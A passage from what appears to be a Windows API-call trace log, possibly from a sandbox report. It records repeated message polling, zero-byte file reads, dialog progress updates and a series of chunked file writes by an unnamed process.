wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.950] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.950] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.950] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.950] GetTickCount () returned 0x1f9b9 [0067.950] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.950] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.950] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.950] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.950] GetTickCount () returned 0x1f9b9 [0067.950] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.950] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.950] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.950] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.950] GetTickCount () returned 0x1f9b9 [0067.950] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.950] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.950] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.950] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.950] GetTickCount () returned 0x1f9b9 [0067.950] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.950] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.950] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.950] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.950] GetTickCount () returned 0x1f9b9 [0067.950] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.950] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.950] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.950] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.950] GetTickCount () returned 0x1f9b9 [0067.950] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.950] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.950] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.950] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.950] GetTickCount () returned 0x1f9b9 [0067.950] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.951] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.951] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.951] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.951] GetTickCount () returned 0x1f9b9 [0067.951] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.951] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.951] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.951] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.951] GetTickCount () returned 0x1f9b9 [0067.951] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.951] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.951] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.951] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.951] GetTickCount () returned 0x1f9b9 [0067.951] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.951] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.951] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.951] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.951] GetTickCount () returned 0x1f9b9 [0067.951] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.951] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.951] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.951] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.951] GetTickCount () returned 0x1f9b9 [0067.951] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.951] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.951] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.951] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.951] GetTickCount () returned 0x1f9b9 [0067.951] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.951] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.951] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.951] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.951] GetTickCount () returned 0x1f9b9 [0067.951] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.951] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.951] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.951] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.951] GetTickCount () returned 0x1f9b9 [0067.951] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.951] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.951] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.951] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.951] GetTickCount () returned 0x1f9b9 [0067.951] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.951] ReadFile (in: hFile=0x1c, lpBuffer=0x2702a5, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x2702a5*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.951] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.951] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.951] GetTickCount () returned 0x1f9b9 [0067.952] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.952] WriteFile (in: hFile=0x138, lpBuffer=0x2885b0*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x171590, lpOverlapped=0x0 | out: lpBuffer=0x2885b0*, lpNumberOfBytesWritten=0x171590*=0x10000, lpOverlapped=0x0) returned 1 [0067.954] GetTickCount () returned 0x1f9b9 [0067.954] PeekMessageW (in: lpMsg=0x171580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171580) returned 0 [0067.954] WriteFile (in: hFile=0x138, lpBuffer=0x2885b0*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x171590, lpOverlapped=0x0 | out: lpBuffer=0x2885b0*, lpNumberOfBytesWritten=0x171590*=0x10000, lpOverlapped=0x0) returned 1 [0067.955] GetTickCount () returned 0x1f9b9 [0067.955] PeekMessageW (in: lpMsg=0x171580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171580) returned 0 [0067.955] WriteFile (in: hFile=0x138, lpBuffer=0x2885b0*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x171590, lpOverlapped=0x0 | out: lpBuffer=0x2885b0*, lpNumberOfBytesWritten=0x171590*=0x10000, lpOverlapped=0x0) returned 1 [0067.956] GetTickCount () returned 0x1f9b9 [0067.956] PeekMessageW (in: lpMsg=0x171580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171580) returned 0 [0067.956] WriteFile (in: hFile=0x138, lpBuffer=0x2885b0*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x171590, lpOverlapped=0x0 | out: lpBuffer=0x2885b0*, lpNumberOfBytesWritten=0x171590*=0x10000, lpOverlapped=0x0) returned 1 [0067.957] GetTickCount () returned 0x1f9c8 [0067.957] PeekMessageW (in: lpMsg=0x171580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171580) returned 0 [0067.957] WriteFile (in: hFile=0x138, lpBuffer=0x2885b0*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x171590, lpOverlapped=0x0 | out: lpBuffer=0x2885b0*, lpNumberOfBytesWritten=0x171590*=0x10000, lpOverlapped=0x0) returned 1 [0067.958] GetTickCount () returned 0x1f9c8 [0067.959] PeekMessageW (in: lpMsg=0x171580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171580) returned 0 [0067.959] WriteFile (in: hFile=0x138, lpBuffer=0x2885b0*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x171590, lpOverlapped=0x0 | out: lpBuffer=0x2885b0*, lpNumberOfBytesWritten=0x171590*=0x10000, lpOverlapped=0x0) returned 1 [0067.960] GetTickCount () returned 0x1f9c8 [0067.960] PeekMessageW (in: lpMsg=0x171580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171580) returned 0 [0067.960] WriteFile (in: hFile=0x138, lpBuffer=0x2885b0*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x171590, lpOverlapped=0x0 | out: lpBuffer=0x2885b0*, lpNumberOfBytesWritten=0x171590*=0x10000, lpOverlapped=0x0) returned 1 [0067.961] GetTickCount () returned 0x1f9c8 [0067.961] PeekMessageW (in: lpMsg=0x171580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171580) returned 0 [0067.961] WriteFile (in: hFile=0x138, lpBuffer=0x2885b0*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x171590, lpOverlapped=0x0 | out: lpBuffer=0x2885b0*, lpNumberOfBytesWritten=0x171590*=0x10000, lpOverlapped=0x0) returned 1 [0067.962] GetTickCount () returned 0x1f9c8 [0067.962] PeekMessageW (in: lpMsg=0x171580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171580) returned 0 [0067.962] WriteFile (in: hFile=0x138, lpBuffer=0x2885b0*, nNumberOfBytesToWrite=0xec00, lpNumberOfBytesWritten=0x171590, lpOverlapped=0x0 | out: lpBuffer=0x2885b0*, lpNumberOfBytesWritten=0x171590*=0xec00, lpOverlapped=0x0) returned 1 [0067.963] GetTickCount () returned 0x1f9c8 [0067.963] PeekMessageW (in: lpMsg=0x171580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171580) returned 0 [0067.964] WriteFile (in: hFile=0x138, lpBuffer=0x288eb0*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x171590, lpOverlapped=0x0 | out: lpBuffer=0x288eb0*, lpNumberOfBytesWritten=0x171590*=0x900, lpOverlapped=0x0) returned 1 [0067.964] GetTickCount () returned 0x1f9c8 [0067.964] PeekMessageW (in: lpMsg=0x171580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171580) returned 0 [0067.964] WriteFile (in: hFile=0x138, lpBuffer=0x2885b0*, nNumberOfBytesToWrite=0xb00, lpNumberOfBytesWritten=0x171590, lpOverlapped=0x0 | out: lpBuffer=0x2885b0*, lpNumberOfBytesWritten=0x171590*=0xb00, lpOverlapped=0x0) returned 1 [0067.964] GetTickCount () returned 0x1f9c8 [0067.964] PeekMessageW (in: lpMsg=0x171580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171580) returned 0 [0067.964] WriteFile (in: hFile=0x138, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x4200, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x171564*=0x4200, lpOverlapped=0x0) returned 1 [0067.964] GetTickCount () returned 0x1f9c8 [0067.964] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0067.964] WriteFile (in: hFile=0x138, lpBuffer=0x288eb0*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x171590, lpOverlapped=0x0 | out: lpBuffer=0x288eb0*, lpNumberOfBytesWritten=0x171590*=0x900, lpOverlapped=0x0) returned 1 [0067.964] GetTickCount () returned 0x1f9c8 [0067.964] PeekMessageW (in: lpMsg=0x171580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171580) returned 0 [0067.964] WriteFile (in: hFile=0x138, lpBuffer=0x2ed4b20*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2ed4b20*, lpNumberOfBytesWritten=0x171564*=0x400, lpOverlapped=0x0) returned 1 [0067.964] GetTickCount () returned 0x1f9c8 [0067.964] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0067.964] WriteFile (in: hFile=0x138, lpBuffer=0x2890b0*, nNumberOfBytesToWrite=0xb00, lpNumberOfBytesWritten=0x171590, lpOverlapped=0x0 | out: lpBuffer=0x2890b0*, lpNumberOfBytesWritten=0x171590*=0xb00, lpOverlapped=0x0) returned 1 [0067.965] GetTickCount () returned 0x1f9c8 [0067.965] PeekMessageW (in: lpMsg=0x171580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171580) returned 0 [0067.965] WriteFile (in: hFile=0x138, lpBuffer=0x2ed5a20*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2ed5a20*, lpNumberOfBytesWritten=0x171564*=0x400, lpOverlapped=0x0) returned 1 [0067.965] GetTickCount () returned 0x1f9c8 [0067.965] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0067.965] WriteFile (in: hFile=0x138, lpBuffer=0x289eb0*, nNumberOfBytesToWrite=0x1900, lpNumberOfBytesWritten=0x171590, lpOverlapped=0x0 | out: lpBuffer=0x289eb0*, lpNumberOfBytesWritten=0x171590*=0x1900, lpOverlapped=0x0) returned 1 [0067.965] GetTickCount () returned 0x1f9c8 [0067.965] PeekMessageW (in: lpMsg=0x171580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171580) returned 0 [0067.965] WriteFile (in: hFile=0x138, lpBuffer=0x2ed7720*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2ed7720*, lpNumberOfBytesWritten=0x171564*=0x1500, lpOverlapped=0x0) returned 1 [0067.965] GetTickCount () returned 0x1f9c8 [0067.965] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0067.965] WriteFile (in: hFile=0x138, lpBuffer=0x2891b0*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x171590, lpOverlapped=0x0 | out: lpBuffer=0x2891b0*, lpNumberOfBytesWritten=0x171590*=0xc00, lpOverlapped=0x0) returned 1 [0067.965] GetTickCount () returned 0x1f9c8 [0067.965] PeekMessageW (in: lpMsg=0x171580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171580) returned 0 [0067.965] WriteFile (in: hFile=0x138, lpBuffer=0x288cb0*, nNumberOfBytesToWrite=0x700, lpNumberOfBytesWritten=0x171590, lpOverlapped=0x0 | out: lpBuffer=0x288cb0*, lpNumberOfBytesWritten=0x171590*=0x700, lpOverlapped=0x0) returned 1 [0067.965] GetTickCount () returned 0x1f9c8 [0067.965] PeekMessageW (in: lpMsg=0x171580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171580) returned 0 [0067.966] WriteFile (in: hFile=0x138, lpBuffer=0x2ed9f20*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2ed9f20*, lpNumberOfBytesWritten=0x171564*=0x200, lpOverlapped=0x0) returned 1 [0067.966] GetTickCount () returned 0x1f9c8 [0067.966] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0067.966] WriteFile (in: hFile=0x138, lpBuffer=0x288eb0*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x171590, lpOverlapped=0x0 | out: lpBuffer=0x288eb0*, lpNumberOfBytesWritten=0x171590*=0x900, lpOverlapped=0x0) returned 1 [0067.966] GetTickCount () returned 0x1f9c8 [0067.966] PeekMessageW (in: lpMsg=0x171580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171580) returned 0 [0067.966] WriteFile (in: hFile=0x138, lpBuffer=0x2edaa20*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2edaa20*, lpNumberOfBytesWritten=0x171564*=0x500, lpOverlapped=0x0) returned 1 [0067.966] GetTickCount () returned 0x1f9c8 [0067.966] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0067.966] WriteFile (in: hFile=0x138, lpBuffer=0x288eb0*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x171590, lpOverlapped=0x0 | out: lpBuffer=0x288eb0*, lpNumberOfBytesWritten=0x171590*=0x900, lpOverlapped=0x0) returned 1 [0067.966] GetTickCount () returned 0x1f9c8 [0067.966] PeekMessageW (in: lpMsg=0x171580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171580) returned 0 [0067.966] WriteFile (in: hFile=0x138, lpBuffer=0x2edb820*, nNumberOfBytesToWrite=0x2900, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2edb820*, lpNumberOfBytesWritten=0x171564*=0x2900, lpOverlapped=0x0) returned 1 [0067.966] GetTickCount () returned 0x1f9c8 [0067.966] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0067.966] WriteFile (in: hFile=0x138, lpBuffer=0x288db0*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x171590, lpOverlapped=0x0 | out: lpBuffer=0x288db0*, lpNumberOfBytesWritten=0x171590*=0x800, lpOverlapped=0x0) returned 1 [0067.966] GetTickCount () returned 0x1f9c8 [0067.966] PeekMessageW (in: lpMsg=0x171580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171580) returned 0 [0067.966] WriteFile (in: hFile=0x138, lpBuffer=0x2ede920*, nNumberOfBytesToWrite=0x6b00, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2ede920*, lpNumberOfBytesWritten=0x171564*=0x6b00, lpOverlapped=0x0) returned 1 [0067.967] GetTickCount () returned 0x1f9c8 [0067.967] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0067.967] WriteFile (in: hFile=0x138, lpBuffer=0x288eb0*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x171590, lpOverlapped=0x0 | out: lpBuffer=0x288eb0*, lpNumberOfBytesWritten=0x171590*=0x900, lpOverlapped=0x0) returned 1 [0067.967] GetTickCount () returned 0x1f9c8 [0067.967] PeekMessageW (in: lpMsg=0x171580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171580) returned 0 [0067.967] WriteFile (in: hFile=0x138, lpBuffer=0x2ee5d20*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2ee5d20*, lpNumberOfBytesWritten=0x171564*=0x200, lpOverlapped=0x0) returned 1 [0067.967] 